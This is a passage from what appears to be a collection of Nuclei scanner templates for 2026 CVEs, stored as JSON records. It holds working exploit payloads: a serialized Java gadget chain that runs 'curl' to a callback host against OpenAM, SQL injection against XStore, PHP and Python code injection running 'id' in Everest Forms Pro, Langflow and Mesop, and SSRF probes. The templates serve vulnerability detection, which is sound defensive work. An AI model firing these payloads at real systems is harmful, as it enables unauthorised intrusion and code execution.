5725374796c657371007e00074c000b6865616465725469746c6571007e00084c000d6d657373616765466f726d61747400194c6a6176612f746578742f4d657373616765466f726d61743b4c00046e616d6571007e00084c000872656e64657249647400134c6a6176612f6c616e672f426f6f6c65616e3b4c0008736f727461626c6571007e000b4c00057461626c657400204c6f72672f6170616368652f636c69636b2f636f6e74726f6c2f5461626c653b4c000d7469746c6550726f706572747971007e00084c0005776964746871007e000878700001000000007071007e000570707070707070707400106f757470757450726f7065727469657370707372001e6f72672e6170616368652e636c69636b2e636f6e74726f6c2e5461626c65000000000000000102001749000e62616e6e6572506f736974696f6e5a0009686f766572526f77735a00176e756c6c696679526f774c6973744f6e44657374726f7949000a706167654e756d6265724900087061676553697a65490013706167696e61746f724174746163686d656e745a000872656e6465724964490008726f77436f756e745a000a73686f7742616e6e65725a0008736f727461626c655a0006736f727465645a000f736f72746564417363656e64696e674c000763617074696f6e71007e00084c000a636f6c756d6e4c6973747400104c6a6176612f7574696c2f4c6973743b4c0007636f6c756d6e7371007e00074c000b636f6e74726f6c4c696e6b7400254c6f72672f6170616368652f636c69636b2f636f6e74726f6c2f416374696f6e4c696e6b3b4c000b636f6e74726f6c4c69737471007e00104c000c6461746150726f766964657274002c4c6f72672f6170616368652f636c69636b2f6461746170726f76696465722f4461746150726f76696465723b4c000668656967687471007e00084c0009706167696e61746f727400254c6f72672f6170616368652f636c69636b2f636f6e74726f6c2f52656e64657261626c653b4c0007726f774c69737471007e00104c000c736f72746564436f6c756d6e71007e00084c0005776964746871007e0008787200286f72672e6170616368652e636c69636b2e636f6e74726f6c2e4162737472616374436f6e74726f6c00000000000000010200094c000e616374696f6e4c697374656e65727400214c6f72672f6170616368652f636c69636b2f416374696f6e4c697374656e65723b4c000a6174747269627574657371007e00074c00096265686176696f727374000f4c6a6176612f7574696c2f5365743b4c000c68656164456c656d656e747371007e00104c00086c697374656e65727400124c6a6176612f6c616e672f4f626a6563743b4c000e6c697374656e65724d6574686f6471007e00084c00046e616d6571007e00084c0006706172656e7471007e00174c00067374796c657371007e0007787070707070707074000a64756d6d795461626c65707000000002000100000000000000000000000100000000000000000170737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a6578700000000077040000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f400000000000007708000000100000000078737200236f72672e6170616368652e636c69636b2e636f6e74726f6c2e416374696f6e4c696e6b00000000000000010200015a0007636c69636b6564787200256f72672e6170616368652e636c69636b2e636f6e74726f6c2e41627374726163744c696e6b00000000000000010200075a000864697361626c65645a001372656e6465724c6162656c416e64496d616765490008746162696e6465784c0008696d61676553726371007e00084c00056c6162656c71007e00084c000a706172616d657465727371007e00074c00057469746c6571007e00087871007e001470707070707074001664756d6d795461626c652d636f6e74726f6c4c696e6b71007e0018700000000000007070707000707070707070707070770400000003737200296f72672e6170616368652e78616c616e2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000749000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465784c000b5f617578436c617373657374002a4c6f72672f6170616368652f78616c616e2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00084c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff70757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870000003c8cafebabe00000041002907000201000b4f6f625472616e736c657407000401002f6f72672f6170616368652f78616c616e2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100083c636c696e69743e010003282956010004436f64650a0009000b07000a0100116a6176612f6c616e672f52756e74696d650c000c000d01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b07000f0100106a6176612f6c616e672f537472696e670800110100072f62696e2f73680800130100022d6308001501002a6375726c20687474703a2f2f5245504c4143454d455f4f4153545f504c414345484f4c4445525f55524c0a000900170c0018001901000465786563010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b07001b0100136a6176612f6c616e672f5468726f7761626c6501000f4c696e654e756d6265725461626c6501000d537461636b4d61705461626c650100063c696e69743e0a000300200c001e00060100097472616e73666f726d010050284c6f72672f6170616368652f78616c616e2f78736c74632f444f4d3b5b4c6f72672f6170616368652f786d6c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a457863657074696f6e730700250100286f72672f6170616368652f78616c616e2f78736c74632f5472616e736c6574457863657074696f6e010073284c6f72672f6170616368652f78616c616e2f78736c74632f444f4d3b4c6f72672f6170616368652f786d6c2f64746d2f44544d417869734974657261746f723b4c6f72672f6170616368652f786d6c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a536f7572636546696c650100104f6f625472616e736c65742e6a6176610021000100030000000000040008000500060001000700000054000500000000001fb8000806bd000e590312105359041212535905121453b6001657a7000457b100010000001a001d001a0002001c0000000e000300000009001a000a001e000b001d0000000700025d07001a000001001e0006000100070000001d00010001000000052ab7001fb100000001001c000000060001000000060001002100220002002300000004000100240007000000190000000300000001b100000001001c0000000600010000000c0001002100260002002300000004000100240007000000190000000400000001b100000001001c0000000600010000000d000100270000000200287074000b4f6f625472616e736c6574707701007871007e002778\";\n\n      var CMD_OFF = 5114;   // \"curl http://REPLACEME_OAST_PLACEHOLDER_URL\" string start\n      var LEN_OFF = 5110;   // CONSTANT_Utf8 length field (2 bytes, big-endian)\n      var ARR_OFF = 4660;   // byte[] array length for the embedded class file (4 bytes, big-endian)\n      var OLD_LEN = 42;     // Original placeholder string length in bytes\n      var OLD_ARR = 968;    // Original class file size in bytes\n\n      var cmd = \"curl http://\" + interactsh;\n      var delta = cmd.length - OLD_LEN;\n\n      function h(s) {\n        var o = \"\";\n        for (var i = 0; i < s.length; i++) {\n          var c = s.charCodeAt(i).toString(16);\n          o += c.length < 2 ? \"0\" + c : c;\n        }\n        return o;\n      }\n\n      var newHex = h(cmd);\n      var oldHexLen = OLD_LEN * 2;\n      var px = P.substring(0, CMD_OFF) + newHex + P.substring(CMD_OFF + oldHexLen);\n\n      var ul = cmd.length.toString(16);\n      while (ul.length < 4) ul = \"0\" + ul;\n      px = px.substring(0, LEN_OFF) + ul + px.substring(LEN_OFF + 4);\n\n      var al = (OLD_ARR + delta).toString(16);\n      while (al.length < 8) al = \"0\" + al;\n      px = px.substring(0, ARR_OFF) + al + px.substring(ARR_OFF + 8);\n\n      var ba = [];\n      for (var i = 0; i < px.length; i += 2) {\n        ba.push(parseInt(px.substring(i, i + 2), 16));\n      }\n      var T = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n      var b = \"\";\n      for (var i = 0; i < ba.length; i += 3) {\n        var a0 = ba[i], a1 = i+1<ba.length?ba[i+1]:0, a2 = i+2<ba.length?ba[i+2]:0;\n        b += T[(a0>>2)&63];\n        b += T[((a0<<4)|(a1>>4))&63];\n        b += i+1<ba.length ? T[((a1<<2)|(a2>>6))&63] : \"=\";\n        b += i+2<ba.length ? T[a2&63] : \"=\";\n      }\n      var payload = b.split(\"+\").join(\"-\").split(\"/\").join(\"_\").split(\"=\").join(\"\");\n\n      var ct = (tport === \"443\") ? \"tls\" : \"tcp\";\n      var conn = net.Open(ct, thost + \":\" + tport);\n      var req = \"GET /openam/ui/PWResetUserValidation?jato.clientSession=\" + payload +\n                \" HTTP/1.1\\r\\nHost: \" + thost + \":\" + tport +\n                \"\\r\\nConnection: close\\r\\n\\r\\n\";\n      conn.SendHex(h(req));\n      var resp = conn.RecvString(4096);\n      conn.Close();\n      Export(resp);\n\n    args:\n      thost: \"{{Host}}\"\n      tport: \"{{Port}}\"\n      interactsh: \"{{interactsh-url}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"dns\")'\n# digest: 490a0046304402205642b87ad50b219770b347f4360b58b827767fed4837b84eebf70db37f6701a202200d31efdbfd19dca8c439ce2661901a0b4f20537fe3d12be4c6cd14a6a802cec0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-33439.yaml","vuln_id":"cve-2026-33439"},{"raw":"id: CVE-2026-33425\n\ninfo:\n  name: Discourse - Private Group Membership Inference via exclude_groups\n  author: str4k3r\n  severity: medium\n  description: |\n    Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.\n  impact: |\n    Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.\n  remediation: |\n    Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.\n  reference:\n    - https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33425\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-33425\n    epss-score: 0.00674\n    epss-percentile: 0.52255\n    cwe-id: CWE-203\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: discourse\n    product: discourse\n    shodan-query: http.component:\"discourse\"\n    fofa-query: body=\"/assets/discourse\"\n  tags: cve,cve2026,discourse,info-disclosure,unauth\n\nvariables:\n  ghost: \"{{rand_base(8, 'acfhjnprx')}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'regex(\"\\\"total_rows_directory_items\\\":[0-9]+\", body)'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: basetotal\n        group: 1\n        internal: true\n        regex:\n          - '\"total_rows_directory_items\":([0-9]+)'\n\n  - raw:\n      - |\n        GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - '!regex(\"total_rows_directory_items.:\" + basetotal + \"[,}]\", body)'\n        condition: and\n# digest: 4a0a0047304502210087cb43bbd28e8ddc9c0e7dbd22ebfecfa1a1eb2ffbfd8ac11eac81ea0474e35c0220109a26320856831e77551b13c8c36ac3ea0fbd27c6e667d181ebb2e6cddaa950:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-33425.yaml","vuln_id":"cve-2026-33425"},{"raw":"id: CVE-2026-3335\n\ninfo:\n  name: Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload\n  author: iamatownboy\n  severity: medium\n  description: |\n    The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow.\n    The file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed MIME types.\n    The fbc_app_api parameter controls the domain WordPress fetches from via wp_safe_remote_get, enabling SSRF to attacker-controlled infrastructure.\n  impact: |\n    Unauthenticated attackers can upload files into the WordPress media library by pointing the server-side fetch at an attacker-controlled Canto API. This also enables SSRF via the fbc_app_api parameter.\n  remediation: |\n    Update Canto to version 3.1.2 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3335\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0777f759-6980-4572-a866-0210bd5f5085?source=cve\n    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L71\n    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L152\n    - https://plugins.trac.wordpress.org/browser/canto/tags/3.1.1/includes/lib/copy-media.php#L306\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-3335\n    epss-score: 0.01142\n    epss-percentile: 0.66778\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: flightbycanto\n    product: canto\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/canto/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,canto,missing-auth,unauth,file-upload,ssrf,oast\n\nvariables:\n  token: \"{{rand_text_alpha(10)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/canto/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(body, \"Canto\")\n          - compare_versions(version, \"<= 3.1.1\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-content/plugins/canto/includes/lib/copy-media.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}/\n\n        fbc_id={{token}}&fbc_scheme=image&fbc_flight_domain={{token}}&fbc_app_api={{interactsh-url}}&fbc_app_token={{token}}&chromeless=1\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: attachment\n        part: body\n        group: 1\n        regex:\n          - '\"attachment_id\":(\\d+)'\n# digest: 4b0a004830460221008691c8e7ebd3a79d7f7b66afbd4afb41937c221376e2b583dd58bd8fe6c56849022100dac9df4b7773288af8870f0a11ab4f1c9368efdc3d4582448e3730a9720146d9:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-3335.yaml","vuln_id":"cve-2026-3335"},{"raw":"id: CVE-2026-33340\n\ninfo:\n  name: LoLLMs WEBUI - Server-Side Request Forgery\n  author: theamanrawat\n  severity: critical\n  description: |\n    LoLLMs WEBUI contains a server-side request forgery caused by unauthenticated access to the /api/proxy endpoint, letting attackers force the server to make arbitrary GET requests, exploit requires no authentication.\n  impact: |\n    Attackers can access internal services, scan local networks, or exfiltrate sensitive cloud metadata, potentially leading to data exposure and further compromise.\n  remediation: |\n    Update to a patched version once available or apply mitigations to restrict server-side requests.\n  reference:\n    - https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33340\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-33340\n    epss-score: 0.21629\n    epss-percentile: 0.97636\n    cwe-id: CWE-306\n  metadata:\n    max-requests: 1\n    verified: true\n  tags: cve,cve2026,lollms,ssrf\n\nhttp:\n  - raw:\n      - |\n        POST /api/proxy HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"url\": \"http://{{interactsh-url}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'contains(body, \"{\\\"content\\\":\\\"\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502206a66e73724f679c1306e11ebb1677965980ef38f5b7946f6282a9189dcf7745f022100c33c75ebc7a54e87c2d5fb3c6f332de996be8b35a2a5a9a2f4a3539dd653fb22:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-33340.yaml","vuln_id":"cve-2026-33340"},{"raw":"id: CVE-2026-3326\n\ninfo:\n  name: XStore Theme < 9.7.3 - SQL Injection\n  author: VixianSchool\n  severity: high\n  description: |\n    The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n  impact: |\n    Unauthenticated attackers can extract arbitrary data from the WordPress database, including credentials, session tokens, and WooCommerce customer records.\n  remediation: |\n    Update XStore theme to version 9.7.3 or later.\n  reference:\n    - https://wpscan.com/vulnerability/2c5bdb17-8b12-45b5-878b-627056dc8956/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3326\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-3326\n    epss-score: 0.01866\n    epss-percentile: 0.79354\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    verified: true\n  tags: cve,cve2026,wordpress,wp,wp-theme,sqli,xstore,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/themes/xstore/style.css\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"XStore\"\n        internal: true\n\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"< 9.7.3\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - 'Version:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /?s=test%27)%20AND%20(SELECT%208039%20FROM%20(SELECT(SLEEP(5)))HQgJ)%20AND%20(%27hyMm%27=%27hyMm&et_search=true&post_type=product HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 5'\n          - 'status_code != 404'\n        condition: and\n# digest: 490a0046304402206139c9cffc97bf7f759722408894658a7549f61fcb21bef41bc15965cd5de84802207001036fa34be051037c56350feb2210dfa8e15ca445c8bd66935c9b06e4d1b6:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-3326.yaml","vuln_id":"cve-2026-3326"},{"raw":"id: CVE-2026-33057\n\ninfo:\n  name: Mesop AI Sandbox <= 1.2.2 - Remote Code Execution\n  author: sammiee5311,liyander\n  severity: critical\n  description: |\n    Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.\n  impact: |\n    Attackers can execute arbitrary commands on the host, leading to full system compromise.\n  remediation: |\n    Upgrade to version 1.2.3 or later.\n  reference:\n    - https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33057\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-33057\n    epss-score: 0.05295\n    epss-percentile: 0.92604\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mesop-dev\n    product: mesop\n    shodan-query: html:\"Mesop\"\n  tags: cve,cve2026,mesop,rce,oss,vkev\n\nvariables:\n  marker: \"{{rand_base(16)}}\"\n  payload: '{{replace(replace(base64(concat(\"raise Exception(\\\"\", marker, \"\\\")\")), \"+\", \"-\"), \"/\", \"_\")}}'\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"<title>Mesop\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        POST /exec-py HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        code={{payload}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n\n      - type: status\n        status:\n          - 500\n# digest: 4a0a00473045022061ffc93ffc1bb7ee857deae3151c2f550595047284bbad0bfad483e989a409cb022100d41ca7b7e667c10d8d1b90161508a1c8e696a4a89c0ad1b3508e5f3ff3515357:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-33057.yaml","vuln_id":"cve-2026-33057"},{"raw":"id: CVE-2026-33032\n\ninfo:\n  name: Nginx UI - Broken Access Control\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Network attackers can fully control nginx service, including config modification and service restart, leading to complete service takeover.\n  impact: |\n    An unauthenticated attacker with a valid MCP session ID can inject arbitrary nginx configurations,create reverse proxies for credential theft, and achieve remote code execution via nginx config primitives.\n  remediation: Upgrade to nginx-ui v2.3.4 or later which adds AuthRequired() to /mcp_message.\n  reference:\n    - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf\n    - https://github.com/0xJacky/nginx-ui/commit/413dc631\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33032\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-33032\n    epss-score: 0.35273\n    epss-percentile: 0.98449\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    product: nginx-ui\n    shodan-query: http.title:\"Nginx UI\"\n    fofa-query: title=\"Nginx UI\"\n  tags: cve,cve2026,nginx-ui,mcp,unauth,misconfig,vkev\n\nvariables:\n  string: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /mcp_message HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"{{string}}\",\"version\":\"1.0\"}},\"id\":1}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{\"jsonrpc\":'\n          - '\"message\":'\n          - '\"id\":'\n        condition: and\n\n      - type: status\n        status:\n          - 400\n# digest: 4a0a00473045022100d13ee2a2f06a862a0d0f9509959c4a6f0778a7fc86014156b02acd88d281bf4702206726450f010560d6359a20484e741936190a49732f5a993f160b5ec5e73964de:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-33032.yaml","vuln_id":"cve-2026-33032"},{"raw":"id: CVE-2026-33017\n\ninfo:\n  name: Langflow < 1.9.0 - Remote Code Execution\n  author: himind\n  severity: critical\n  description: |\n    Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.\n  impact: |\n    Remote attackers can execute arbitrary Python code without authentication, leading to full system compromise.\n  remediation: |\n    Update to version 1.9.0 or later.\n  reference:\n    - https://thehackernews.com/2026/03/critical-langflow-flaw-cve-2026-33017.html\n    - https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33017\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-33017\n    epss-score: 0.96177\n    epss-percentile: 0.99877\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: langflow\n    product: langflow\n    shodan-query: http.favicon.hash:1727196746\n  tags: cve,cve2026,langflow,rce,ai,passive,kev,vkev\n\nvariables:\n  uuid: \"{{uuid}}\"\n\nflow: http(1) && (http(2) || http(3))\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"langflow\"\n        case-insensitive: true\n        internal: true\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/v1/build_public_tmp/{{uuid}}/flow\"\n\n    body: |\n      {\n        \"data\": {\n          \"nodes\": [\n            {\n              \"data\": {\n                \"node\": {\n                  \"template\": {\n                    \"code\": {\n                      \"value\": \"def function():\\n    import os\\n    return os.popen('id').read()\"\n                    }\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    headers:\n      Content-Type: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"application/json\")'\n          - 'regex(\"uid=[0-9]+.*gid=[0-9]+.*\", body)'\n          - 'contains(body, \"xmsg\\\":\")'\n        condition: and\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/version\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"compare_versions(version, '< 1.9.0')\"\n          - \"status_code == 200\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: version\n        json:\n          - \".version\"\n        internal: true\n# digest: 4a0a00473045022100938a254260bc3c8477044465ed479db412791e29f38ef8cea9ceffdedfef35b402200c01fa89c430d7ab78e57784f3b6226c3cd573f67e634127bdcff21a4c182b87:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-33017.yaml","vuln_id":"cve-2026-33017"},{"raw":"id: CVE-2026-3300\n\ninfo:\n  name: Everest Forms Pro <= 1.9.12 - Unauthenticated RCE via Calculation Formula Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The Everest Forms Pro plugin for WordPress is vulnerable to Remote Code Execution via PHP Code Injection in all versions up to, and including, 1.9.12. This is due to the Calculation Addon's process_filter() function concatenating user-submitted form field values into a PHP code string without proper escaping before passing it to eval(). The sanitize_text_field() function applied to input does not escape single quotes or other PHP code context characters. This makes it possible for unauthenticated attackers to inject and execute arbitrary PHP code on the server by submitting a crafted value in any string-type form field (text, email, URL, select, radio) when a form uses the \"Complex Calculation\" feature.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code on the server, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of Everest Forms Pro plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/389c0b89-e408-4ad5-9723-a16b745771f0?source=cve\n    - https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.3/includes/class-evf-form-task.php#L584\n    - https://everestforms.net/changelog/\n    - https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-3300\n    epss-score: 0.39159\n    epss-percentile: 0.98601\n    cwe-id: CWE-94\n  metadata:\n    max-request: 3\n    verified: true\n    product: everest-forms-pro\n    vendor: wpeverest\n    fofa-query: body=\"/wp-content/plugins/everest-forms-pro/\"\n  tags: cve,cve2026,wordpress,wp-plugin,everest-forms,rce,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/everest-forms-pro/readme.txt\"\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Everest Forms\")'\n          - 'compare_versions(version, \"<= 1.9.12\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        internal: true\n        group: 1\n        regex:\n          - 'Stable tag:\\s*([0-9.]+)'\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/wp/v2/pages?per_page=100\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"evf-container\",\"data-formid\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_id\n        internal: true\n        group: 1\n        regex:\n          - 'data-formid=(?:\\\\\"|\")([0-9]+)'\n\n      - type: regex\n        name: nonce\n        internal: true\n        group: 1\n        regex:\n          - 'name=(?:\\\\\"|\")_wpnonce[0-9]+(?:\\\\\"|\")\\s+value=(?:\\\\\"|\")([a-f0-9]+)'\n\n      - type: regex\n        name: nonce_field\n        internal: true\n        group: 1\n        regex:\n          - 'name=(?:\\\\\"|\")(_wpnonce[0-9]+)(?:\\\\\"|\")\\s+value='\n\n      - type: regex\n        name: text_field\n        internal: true\n        group: 1\n        regex:\n          - 'evf-field-text[^>]*data-field-id=(?:\\\\\"|\")(field_[A-Za-z0-9]+)'\n\n      - type: regex\n        name: calc_field\n        internal: true\n        group: 1\n        regex:\n          - 'evf-field-number[^>]*data-field-id=(?:\\\\\"|\")(field_[A-Za-z0-9]+)'\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=everest_forms_ajax_form_submission&everest_forms[id]={{form_id}}&everest_forms[author]=1&everest_forms[form_fields][{{text_field}}]=1'%3B+system('id')%3B+echo+'&everest_forms[form_fields][{{calc_field}}]=0&{{nonce_field}}={{nonce}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'uid=[0-9]+\\([a-z_-]+\\)'\n\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n\n    extractors:\n      - type: regex\n        group: 0\n        regex:\n          - 'uid=[0-9]+\\([a-z_-]+\\)\\s*gid=[0-9]+\\([a-z_-]+\\)'\n# digest: 